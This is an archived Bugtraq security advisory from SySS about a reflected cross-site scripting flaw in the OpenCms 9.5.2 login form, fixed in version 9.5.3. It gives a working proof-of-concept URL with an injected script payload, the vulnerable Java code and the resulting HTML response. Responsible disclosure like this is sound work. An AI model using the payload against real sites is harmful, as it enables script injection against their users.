bugtraq - [SYSS-2015-063] OpenCms - Cross Site Scripting

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [day] [month] [year] [list]
Date: Mon, 22 Feb 2016 13:50:07 GMT
From: rainer.boie@...s.de
To: bugtraq@...urityfocus.com
Subject: [SYSS-2015-063] OpenCms - Cross Site Scripting

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Advisory ID: SYSS-2015-063
Product: OpenCms
Official Maintainer: Alkacon Software GmbH
Affected Version(s): 9.5.2
Tested Version(s): 9.5.2
Vulnerability Type: Cross-Site Scripting (CWE-79)
Risk Level: Medium
Solution Status: Fixed
Maintainer Notification: 2015-11-27
Solution Date: 2016-01-13
Public Disclosure:
CVE Reference: Not yet assigned
Author of Advisory: Rainer Boie (SySS GmbH)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

OpenCms is an open source web content management system. Alkacon 
Software GmbH is the official maintainer and the major contributor for
OpenCms (see [1]).

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The SySS GmbH found out that a logged on user with at least workspace 
access is vulnerable to a reflected cross-site scripting attack using
the OpenCms login form. An attacker can use an URL to create the attack
as the attack vector is triggered by an HTTP GET request.

It is recommended to filter and escape transmitted parameter values.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

Using a fresh installation of OpenCms in version 9.5.2 and generating
and logging in with a user with workspace access rights, the following
attack vector was used:

http://<HOST>:<PORT>/opencms/opencms/system/login/index.html?requestedResource=%2Fsystem%2Fworkplace%2Fcommons%2Fdisplayresource.jsp%3Fresource%3D%252Fsuchergebnis%252Findex.html";alert('XSS');//&__loginform=true


The parameter is handled by the function appendWorkplaceOpenerScript in
the file CmsLogin.java.

The vulnerable code section is:

html.append("\tvar openUri = \"");
html.append(link(openResource));
html.append("\";\n");
html.append("\tvar workplaceWin = openWorkplace(openUri, \"");


The JavaScript code is executed in the web browser as it is included in
the following affected part of the HTML response:

function doOnload() {
	var openUri = "/opencms/opencms/system/workplace/commons/displayresource.jsp?resource=%2Fsuchergebnis%2Findex.html";alert('XSS');//";
	var workplaceWin = openWorkplace(openUri, "OpenCms1448623274999");
	if (window.name != "OpenCms1448623274999") {
		window.opener = workplaceWin;
		if (workplaceWin != null) {
			window.close();
		}
	}
}


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

The main maintainer Alkacon Software GmbH published 01/13/2016 version
9.5.3 where the flaw is fixed.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2015-11-27: Vulnerability reported to the official maintainer Alkacon 
            Software GmbH
2015-12-04: Vulnerability reported to the official maintainer Alkacon 
            Software GmbH
2015-12-04: Response from maintainer: The issue is fixed in version
            9.5.3 which is planned to be published 01/13/2016.

2016-01-13: Release 9.5.3 published

2016-01-20: Checked and confirmed fix of vulnerability in version 9.5.3

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product Web site for OpenCms
    http://www.opencms.org
[2] SySS Security Advisory SYSS-2015-063
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2015-063.txt
[3] SySS Responsible Disclosure Policy
    https://www.syss.de/en/news/responsible-disclosure-policy/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Credits:

This security vulnerability was found by Rainer Boie of the SySS GmbH.

E-Mail: rainer.boie (at) syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Rainer_Boie.asc
Key fingerprint = E724 9ECC 7E6F 1008 16AB  1A53 5C12 823D 608D 7AE9

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is" 
and without warranty of any kind. Details of this security advisory may 
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web 
site.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQEcBAEBCgAGBQJWyxBmAAoJEFwSgj1gjXrpapYH/1eKvLsApiVYoAn84Guy2sbn
n2LJUORCMkByi2gDCsMij2Y2gnF3cebhsmsos0e6UdGl4f3ztRAnNFI5JLKZ9GjB
xfbNZ0kVqaocETTkqpMWNcEpM57E5/2fnsOEdxZjjMA5wg6DGLZYzRAxx/nEWSCn
eQGf8BCKLufLp2MAdNfjCKr4zBE8i+ZBF6QYAoG3YItbIXZvH5WLxfcsPtacoj2K
LQHW34V9k6OFDmztfmYo42BhhGy1pj7zcZhlQDL+a3iqvDGeGS2F27vnRgbFFBVD
3K6sfQk78Fx4ceKn32ew8knahUl+DrzgaYnR/JZqGdjOSg871j2jiPt8Esqq2lc=
=bRHg
-----END PGP SIGNATURE-----